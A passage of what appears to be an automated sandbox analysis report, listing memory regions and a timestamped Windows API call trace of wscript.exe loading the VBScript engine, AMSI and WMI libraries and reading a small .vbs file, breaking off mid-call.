entry_point = 0x0 region_type = private name = "private_0x000002e24f950000" filename = "" Region: id = 6003 start_va = 0x2e24f960000 end_va = 0x2e24f960fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f960000" filename = "" Region: id = 6004 start_va = 0x2e251260000 end_va = 0x2e25133cfff monitored = 0 entry_point = 0x2e2512be0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6005 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6006 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 6007 start_va = 0x2e251260000 end_va = 0x2e25138ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e251260000" filename = "" Region: id = 6009 start_va = 0x2e251390000 end_va = 0x2e2516c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 6010 start_va = 0x2e24f970000 end_va = 0x2e24f977fff monitored = 1 entry_point = 0x2e24f972ec0 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\System32\\wscript.exe" (normalized: "c:\\windows\\system32\\wscript.exe") Region: id = 6011 start_va = 0x7ffb1c690000 end_va = 0x7ffb1c728fff monitored = 0 entry_point = 0x7ffb1c6bf4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 6013 start_va = 0xfde8100000 end_va = 0xfde81fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8100000" filename = "" Region: id = 6014 start_va = 0x7ffb1dc80000 end_va = 0x7ffb1ddd9fff monitored = 0 entry_point = 0x7ffb1dcc38e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 6015 start_va = 0x2e24f980000 end_va = 0x2e24f980fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f980000" filename = "" Region: id = 6016 start_va = 0x2e251260000 end_va = 0x2e25131bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e251260000" filename = "" Region: id = 6017 start_va = 0x2e251380000 end_va = 0x2e25138ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e251380000" filename = "" Region: id = 6018 start_va = 0x2e24f980000 end_va = 0x2e24f983fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f980000" filename = "" Region: id = 6019 start_va = 0x7ffb1a760000 end_va = 0x7ffb1a781fff monitored = 0 entry_point = 0x7ffb1a761a40 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 6020 start_va = 0x2e24f990000 end_va = 0x2e24f990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f990000" filename = "" Region: id = 6021 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 6022 start_va = 0x2e24f9a0000 end_va = 0x2e24f9a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f9a0000" filename = "" Region: id = 6023 start_va = 0x7ffb06810000 end_va = 0x7ffb068a8fff monitored = 1 entry_point = 0x7ffb06831cf0 region_type = mapped_file name = "vbscript.dll" filename = "\\Windows\\System32\\vbscript.dll" (normalized: "c:\\windows\\system32\\vbscript.dll") Region: id = 6024 start_va = 0x7ffb15db0000 end_va = 0x7ffb15dbffff monitored = 0 entry_point = 0x7ffb15db51b0 region_type = mapped_file name = "amsi.dll" filename = "\\Windows\\System32\\amsi.dll" (normalized: "c:\\windows\\system32\\amsi.dll") Region: id = 6026 start_va = 0x7ffb15d60000 end_va = 0x7ffb15d7cfff monitored = 0 entry_point = 0x7ffb15d6e930 region_type = mapped_file name = "mpoav.dll" filename = "\\Program Files\\Windows Defender\\MpOAV.dll" (normalized: "c:\\program files\\windows defender\\mpoav.dll") Region: id = 6027 start_va = 0x2e24f9b0000 end_va = 0x2e24f9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f9b0000" filename = "" Region: id = 6028 start_va = 0x7ffb123c0000 end_va = 0x7ffb123cbfff monitored = 0 entry_point = 0x7ffb123c18b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 6041 start_va = 0x7ffb1d3e0000 end_va = 0x7ffb1d5a6fff monitored = 0 entry_point = 0x7ffb1d43db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 6042 start_va = 0x7ffb1c850000 end_va = 0x7ffb1c85ffff monitored = 0 entry_point = 0x7ffb1c8556e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 6043 start_va = 0x7ffb1cf20000 end_va = 0x7ffb1cf74fff monitored = 0 entry_point = 0x7ffb1cf37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 6052 start_va = 0x7ffb1c150000 end_va = 0x7ffb1c166fff monitored = 0 entry_point = 0x7ffb1c1579d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 6053 start_va = 0x7ffb1bde0000 end_va = 0x7ffb1be13fff monitored = 0 entry_point = 0x7ffb1bdfae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 6054 start_va = 0x7ffb1c660000 end_va = 0x7ffb1c688fff monitored = 0 entry_point = 0x7ffb1c674530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6055 start_va = 0x7ffb1c270000 end_va = 0x7ffb1c27afff monitored = 0 entry_point = 0x7ffb1c2719a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 6068 start_va = 0xfde8200000 end_va = 0xfde82fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8200000" filename = "" Region: id = 6069 start_va = 0x2e24f9b0000 end_va = 0x2e24f9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f9b0000" filename = "" Region: id = 6070 start_va = 0x7ffb15da0000 end_va = 0x7ffb15dabfff monitored = 0 entry_point = 0x7ffb15da1480 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\System32\\msisip.dll" (normalized: "c:\\windows\\system32\\msisip.dll") Region: id = 6071 start_va = 0x7ffb1fc20000 end_va = 0x7ffb1fc8efff monitored = 0 entry_point = 0x7ffb1fc45f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 6072 start_va = 0x2e2516d0000 end_va = 0x2e2526cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e2516d0000" filename = "" Region: id = 6073 start_va = 0x2e24f9c0000 end_va = 0x2e24f9c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f9c0000" filename = "" Region: id = 6096 start_va = 0xfde8300000 end_va = 0xfde83fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8300000" filename = "" Region: id = 6097 start_va = 0x7ffb15980000 end_va = 0x7ffb1599dfff monitored = 1 entry_point = 0x7ffb15981df0 region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\System32\\wshext.dll" (normalized: "c:\\windows\\system32\\wshext.dll") Region: id = 6098 start_va = 0x7ffb1e310000 end_va = 0x7ffb1f86efff monitored = 0 entry_point = 0x7ffb1e4711f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 6099 start_va = 0x7ffb1ced0000 end_va = 0x7ffb1cf12fff monitored = 0 entry_point = 0x7ffb1cee4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 6100 start_va = 0x7ffb1c880000 end_va = 0x7ffb1cec3fff monitored = 0 entry_point = 0x7ffb1ca464b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 6101 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 6102 start_va = 0x7ffb1d320000 end_va = 0x7ffb1d3d4fff monitored = 0 entry_point = 0x7ffb1d3622e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 6119 start_va = 0x7ffb1c800000 end_va = 0x7ffb1c84afff monitored = 0 entry_point = 0x7ffb1c8035f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6120 start_va = 0x7ffb1c7d0000 end_va = 0x7ffb1c7e3fff monitored = 0 entry_point = 0x7ffb1c7d52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6131 start_va = 0x7ffb02ec0000 end_va = 0x7ffb02f03fff monitored = 1 entry_point = 0x7ffb02ecaac0 region_type = mapped_file name = "scrobj.dll" filename = "\\Windows\\System32\\scrobj.dll" (normalized: "c:\\windows\\system32\\scrobj.dll") Region: id = 6138 start_va = 0x2e24f9b0000 end_va = 0x2e24f9bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e24f9b0000" filename = "" Region: id = 6139 start_va = 0x2e2516d0000 end_va = 0x2e2517cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002e2516d0000" filename = "" Region: id = 6140 start_va = 0x7ffb15190000 end_va = 0x7ffb151b8fff monitored = 1 entry_point = 0x7ffb15191340 region_type = mapped_file name = "wshom.ocx" filename = "\\Windows\\System32\\wshom.ocx" (normalized: "c:\\windows\\system32\\wshom.ocx") Region: id = 6141 start_va = 0x7ffb14b90000 end_va = 0x7ffb14baafff monitored = 0 entry_point = 0x7ffb14b91040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 6142 start_va = 0x7ffb06a00000 end_va = 0x7ffb06a34fff monitored = 0 entry_point = 0x7ffb06a05850 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 6148 start_va = 0x2e24f9c0000 end_va = 0x2e24f9cffff monitored = 0 entry_point = 0x2e24f9c5850 region_type = mapped_file name = "scrrun.dll" filename = "\\Windows\\System32\\scrrun.dll" (normalized: "c:\\windows\\system32\\scrrun.dll") Region: id = 6149 start_va = 0x7ffb02e60000 end_va = 0x7ffb02eb3fff monitored = 1 entry_point = 0x7ffb02e6be60 region_type = mapped_file name = "wbemdisp.dll" filename = "\\Windows\\System32\\wbem\\wbemdisp.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.dll") Region: id = 6150 start_va = 0x7ffb13440000 end_va = 0x7ffb134befff monitored = 0 entry_point = 0x7ffb13457110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 6158 start_va = 0x7ffb1fdf0000 end_va = 0x7ffb1fe5afff monitored = 0 entry_point = 0x7ffb1fe090c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 6159 start_va = 0x7ffb12110000 end_va = 0x7ffb12120fff monitored = 0 entry_point = 0x7ffb12112fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 6160 start_va = 0x7ffb119a0000 end_va = 0x7ffb119c4fff monitored = 0 entry_point = 0x7ffb119a9900 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 6161 start_va = 0x2e2517d0000 end_va = 0x2e2518acfff monitored = 0 entry_point = 0x2e25182e0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 6180 start_va = 0xfde8400000 end_va = 0xfde84fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8400000" filename = "" Region: id = 6189 start_va = 0xfde8500000 end_va = 0xfde85fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8500000" filename = "" Region: id = 6190 start_va = 0xfde8600000 end_va = 0xfde86fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000fde8600000" filename = "" Region: id = 6211 start_va = 0x7ffb119d0000 end_va = 0x7ffb119e3fff monitored = 0 entry_point = 0x7ffb119d1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 6230 start_va = 0x7ffb11a10000 end_va = 0x7ffb11b05fff monitored = 0 entry_point = 0x7ffb11a49590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 6233 start_va = 0x2e24f9d0000 end_va = 0x2e24f9defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wbemdisp.tlb" filename = "\\Windows\\System32\\wbem\\wbemdisp.tlb" (normalized: "c:\\windows\\system32\\wbem\\wbemdisp.tlb") Region: id = 6244 start_va = 0x2e24f9e0000 end_va = 0x2e24f9e2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002e24f9e0000" filename = "" Region: id = 6245 start_va = 0x2e24f9e0000 end_va = 0x2e24f9e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Thread: id = 214 os_tid = 0xd00 [0175.010] malloc (_Size=0x100) returned 0x2e24fa063e0 [0175.011] __dllonexit () returned 0x7ffb06833c00 [0175.011] __dllonexit () returned 0x7ffb06833c10 [0175.011] __dllonexit () returned 0x7ffb06833c20 [0175.011] GetUserDefaultLCID () returned 0x409 [0175.011] GetVersion () returned 0x295a000a [0175.011] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x7ffb1feb0000 [0175.012] GetProcAddress (hModule=0x7ffb1feb0000, lpProcName="QueryProtectedPolicy") returned 0x7ffb1cff02d0 [0175.012] VirtualProtect (in: lpAddress=0x7ffb0687d668, dwSize=0x8, flNewProtect=0x4, lpflOldProtect=0xfde7d4c910 | out: lpflOldProtect=0xfde7d4c910*=0x2) returned 1 [0175.012] VirtualProtect (in: lpAddress=0x7ffb0687d668, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0xfde7d4c910 | out: lpflOldProtect=0xfde7d4c910*=0x4) returned 1 [0175.013] malloc (_Size=0x58) returned 0x2e24fa064f0 [0175.013] malloc (_Size=0x3a8) returned 0x2e24fa06550 [0175.013] GetUserDefaultLCID () returned 0x409 [0175.013] GetACP () returned 0x4e4 [0175.013] LoadLibraryExW (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x800) returned 0x7ffb15db0000 [0175.092] GetProcAddress (hModule=0x7ffb15db0000, lpProcName="AmsiInitialize") returned 0x7ffb15db2260 [0175.092] GetProcAddress (hModule=0x7ffb15db0000, lpProcName="AmsiScanString") returned 0x7ffb15db26b0 [0175.093] AmsiInitialize () returned 0x0 [0175.109] free (_Block=0x2e24fa064f0) [0175.110] GetCurrentThreadId () returned 0xd00 [0175.110] malloc (_Size=0xd0) returned 0x2e24fa06eb0 [0175.110] GetCurrentThreadId () returned 0xd00 [0175.110] malloc (_Size=0x28) returned 0x2e24fa06f90 [0175.110] malloc (_Size=0x38) returned 0x2e24fa064f0 [0175.110] malloc (_Size=0xc0) returned 0x2e24fa06fd0 [0175.111] malloc (_Size=0x38) returned 0x2e24fa06c30 [0175.111] GetCurrentThreadId () returned 0xd00 [0175.111] malloc (_Size=0x80) returned 0x2e24fa070a0 [0175.111] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0175.111] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0xfde7d4ed50, cchData=6 | out: lpLCData="1252") returned 5 [0175.112] IsValidCodePage (CodePage=0x4e4) returned 1 [0175.112] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x7ffb1cf80000 [0175.113] GetProcAddress (hModule=0x7ffb1cf80000, lpProcName="ResolveDelayLoadedAPI") returned 0x7ffb1cfdf670 [0175.113] GetProcAddress (hModule=0x7ffb1cf80000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7ffb1d041540 [0175.113] ResolveDelayLoadedAPI () returned 0x7ffb1d64fb70 [0175.114] CoCreateInstance (in: rclsid=0x7ffb0687e800*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb0687e7e0*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2e24fa06898 | out: ppv=0x2e24fa06898*=0x2e24fa6e700) returned 0x0 [0175.114] IUnknown:AddRef (This=0x2e24fa6e700) returned 0x2 [0175.114] GetCurrentProcessId () returned 0xcfc [0175.115] GetCurrentThreadId () returned 0xd00 [0175.115] GetTickCount () returned 0x1aa8fa8 [0175.115] ISystemDebugEventFire:BeginSession (This=0x2e24fa6e700, guidSourceID=0x7ffb0687e958, strSessionName="VBScript:00003324:00003328:27955112") returned 0x0 [0175.116] GetCurrentThreadId () returned 0xd00 [0175.116] malloc (_Size=0x40) returned 0x2e24fa07130 [0175.117] malloc (_Size=0xf0) returned 0x2e24fa07180 [0175.117] malloc (_Size=0x80) returned 0x2e24fa07280 [0175.117] malloc (_Size=0x108) returned 0x2e24fa07310 [0175.117] memcpy (in: _Dst=0x2e24fa07358, _Src=0x2e24fa54d08, _Size=0x10 | out: _Dst=0x2e24fa07358) returned 0x2e24fa07358 [0175.117] GetCurrentThreadId () returned 0xd00 [0175.117] malloc (_Size=0x40) returned 0x2e24fa07420 [0175.117] memcpy (in: _Dst=0x2e24fa073a8, _Src=0x2e24fa5d778, _Size=0x8 | out: _Dst=0x2e24fa073a8) returned 0x2e24fa073a8 [0176.000] malloc (_Size=0x100) returned 0x2e24fa08cf0 [0176.002] GetVersionExA (in: lpVersionInformation=0xfde7d4d170*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xfde7d4d170*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0176.002] GetUserDefaultLCID () returned 0x409 [0176.002] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0xfde7d4cce0, cchData=2 | out: lpLCData="") returned 2 [0176.002] IsFileSupportedName () returned 0x1 [0176.003] _wcsicmp (_String1=".vbs", _String2=".vbs") returned 0 [0176.177] GetSignedDataMsg () returned 0x0 [0176.177] GetCurrentProcess () returned 0xffffffffffffffff [0176.177] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x17c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xfde7d4d9d0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xfde7d4d9d0*=0x1d0) returned 1 [0176.177] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2ce [0176.177] malloc (_Size=0x2ce) returned 0x2e24fa099b0 [0176.177] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.177] ReadFile (in: hFile=0x1d0, lpBuffer=0x2e24fa099b0, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0xfde7d4d990, lpOverlapped=0x0 | out: lpBuffer=0x2e24fa099b0*, lpNumberOfBytesRead=0xfde7d4d990*=0x2ce, lpOverlapped=0x0) returned 1 [0176.177] CoInitialize (pvReserved=0x0) returned 0x1 [0176.177] CoCreateInstance (in: rclsid=0x7ffb1598e808*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb1598e818*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0xfde7d4d8f0 | out: ppv=0xfde7d4d8f0*=0x2e24fa0a0d0) returned 0x0 [0176.192] malloc (_Size=0x100) returned 0x2e24fa08360 [0176.192] __dllonexit () returned 0x7ffb02ecbd60 [0176.193] __dllonexit () returned 0x7ffb02ecbd80 [0176.194] GetVersionExA (in: lpVersionInformation=0xfde7d4b340*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7ffb, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x2ecbd80, szCSDVersion="û\x7f") | out: lpVersionInformation=0xfde7d4b340*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0176.194] GetProcessWindowStation () returned 0x6c [0176.194] GetUserObjectInformationA (in: hObj=0x6c, nIndex=1, pvInfo=0xfde7d4b328, nLength=0xc, lpnLengthNeeded=0xfde7d4b320 | out: pvInfo=0xfde7d4b328, lpnLengthNeeded=0xfde7d4b320) returned 1 [0176.195] malloc (_Size=0x48) returned 0x2e24fa09c90 [0176.195] malloc (_Size=0x20) returned 0x2e24fa09ce0 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09d10 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09d50 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09d90 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09dd0 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09e10 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09e50 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09e90 [0176.195] malloc (_Size=0x38) returned 0x2e24fa09ed0 [0176.195] malloc (_Size=0x40) returned 0x2e24fa09f10 [0176.196] free (_Block=0x2e24fa09ce0) [0176.197] malloc (_Size=0x38) returned 0x2e24fa09f60 [0176.197] malloc (_Size=0x38) returned 0x2e24fa09fa0 [0176.197] DllGetClassObject (in: rclsid=0x2e24fa6d230*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7ffb1d7725a0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xfde7d4c370 | out: ppv=0xfde7d4c370*=0x2e24fa06530) returned 0x0 [0176.197] malloc (_Size=0x10) returned 0x2e24fa06530 [0176.198] IClassFactory:CreateInstance (in: This=0x2e24fa06530, pUnkOuter=0x0, riid=0xfde7d4d240*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0xfde7d4c388 | out: ppvObject=0xfde7d4c388*=0x2e24fa0a0d0) returned 0x0 [0176.198] malloc (_Size=0x38) returned 0x2e24fa09fe0 [0176.198] GetSystemInfo (in: lpSystemInfo=0xfde7d4c208 | out: lpSystemInfo=0xfde7d4c208*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0176.198] VirtualQuery (in: lpAddress=0xfde7d4c200, lpBuffer=0xfde7d4c238, dwLength=0x30 | out: lpBuffer=0xfde7d4c238*(BaseAddress=0xfde7d4c000, AllocationBase=0xfde7c50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0176.198] malloc (_Size=0x10) returned 0x2e24fa09ce0 [0176.198] malloc (_Size=0x58) returned 0x2e24fa0a020 [0176.198] malloc (_Size=0x20) returned 0x2e24fa0a080 [0176.199] malloc (_Size=0xc0) returned 0x2e24fa0a0b0 [0176.199] malloc (_Size=0x18) returned 0x2e24fa0a180 [0176.199] IUnknown:AddRef (This=0x2e24fa0a0d0) returned 0x2 [0176.199] IUnknown:Release (This=0x2e24fa0a0d0) returned 0x1 [0176.199] IUnknown:Release (This=0x2e24fa06530) returned 0x0 [0176.199] free (_Block=0x2e24fa06530) [0176.199] IUnknown:QueryInterface (in: This=0x2e24fa0a0d0, riid=0x7ffb1598e818*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0xfde7d4d888 | out: ppvObject=0xfde7d4d888*=0x2e24fa0a0d0) returned 0x0 [0176.199] IUnknown:Release (This=0x2e24fa0a0d0) returned 0x1 [0176.200] _strnicmp (_Str1="